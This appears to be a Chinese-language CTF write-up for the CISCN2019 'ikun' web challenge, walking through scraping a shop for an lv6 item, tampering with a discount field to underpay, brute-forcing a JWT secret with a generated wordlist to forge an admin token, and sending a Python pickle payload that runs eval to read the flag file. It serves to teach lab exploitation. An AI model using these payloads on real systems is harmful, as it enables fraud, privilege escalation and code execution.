CISCN2019_华北赛区_Day1_Web2]ikun_1通关手册

爬虫&支付逻辑漏洞 & jwt 密钥爆破& python 反序列化

爬虫根据要求查找 lv6 的商品

这里直接利用 python 写一个脚本爬取

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 10:37
# FILE : rangeLv6.py
# PROJECT : range.py
# Author : kkk
import time
from lxml import etree
import urllib.request


# 定义请求
def requestUrl(i):
    url = "http://30cfb206-9fe2-4b24-912f-a41ef6ca4adb.node4.buuoj.cn:81/shop?page=" + str(i)
    res = urllib.request.urlopen(url).read().decode('utf-8')
    return res


def check(content, i):
    tree = etree.HTML(content)
    res = tree.xpath("/html/body//img[@class='lv']/@src")
    for item in res:
        if ('lv6' in item):
            print(i)
            return True
    return False


if __name__ == '__main__':
    print("running......")
    for i in range(1, 1000):
        if (i % 10 == 0):
            # 防止请求太频繁
            time.sleep(0.5)
        if(check(requestUrl(i), i)):
            break

发现 lv6 商品在 181 页:
在这里插入图片描述

支付逻辑漏洞

点击购买再点击结算,回显操作失败,查看账户余额发现是金额不够
查看优惠券附近的表单,发现折扣写在表单中:
在这里插入图片描述

直接修改折扣值,乘以 0.00000 很多个 08

在这里插入图片描述

jwt 密钥爆破

点击结算后虽然成功了,但是需要 admin 才能查看

在这里插入图片描述

看到这个一下就能想到垂直越权,所以直接刷新页面抓包
发现 JWT token

在这里插入图片描述

我们打开jwt 解密网站将其解密

发现用户是我刚刚注册的用户

在这里插入图片描述

我们只要将 username 的值修改为 admin 应该就可以绕过

但是我前两次用的字典都爆破失败了,所以这里写个脚本针对性生成密钥字典用来爆破

# _*_ utf-8 _*_
# Time : 2022/11/14 12:12
# FILE : keyFuzz.py
# PROJECT : range.py
# Author : kkk

# 关键词 ikun
# 利用库生成字典
import itertools as its

if __name__ == '__main__':
    for i in range(1, 7):
        words = "1ikunIKUN"
        a = its.product(words, repeat=i)
        fp = open("pass.txt", "a")
        for i in a:
            fp.write("".join(i))
            fp.write("".join("\n"))

fp.close()

生成的字典中包含 1ikunIKUN 字符串从一位到七位的所有组合

成功爆破出 key 为 1Kun

在这里插入图片描述

我们将密钥填入,并且把 username 修改为 admin

在这里插入图片描述

复制得到的 jwt 到数据包中替换原来的 jwt 并且发送

在这里插入图片描述

伪造成 admin 成功进入该页面

在这里插入图片描述

python 反序列化

我们点击 一键成为大会员 页面没有变化,那么我们看该页面源码,发现了网站备份

在这里插入图片描述

在网站源码搜索该页面地址,发现路由指向 adminhandler

在这里插入图片描述

进入该目录,打开 admin 文件,发现接收了一个叫 become 的值

并且进行了反序列化,即可判断此处存在反序列化漏洞
在这里插入图片描述

再次点击 一键成为大会员 并且抓包,发现 become
在这里插入图片描述

通过反序列化的代码:

def post(self, *args, **kwargs):
    try:
        become = self.get_argument('become')
        p = pickle.loads(urllib.unquote(become))
        return self.render('form.html', res=p, member=1)
    except:
        return self.render('form.html', res='This is Black Technology!', member=0)

我们可以构造 payload 读取 flag,先用 pickle 进行序列化,然后再 URL 编码

  • 但是注意一定要用 python2 来序列化,否则没有用,可能是版本不兼容

生成 payload 代码:

# -*- coding: UTF-8 -*-
# Time : 2022/11/14 17:26
# FILE : payload.py
# PROJECT : range.py
# Author : kkk

import pickle
import urllib


class payload(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt', 'r').read()", ))


a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)  # 序列化然后再编码

在 kali 中用 python2 运行:

在这里插入图片描述

将 become 替换成 payload

在这里插入图片描述

成功读到 flag
在这里插入图片描述

  • 12
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值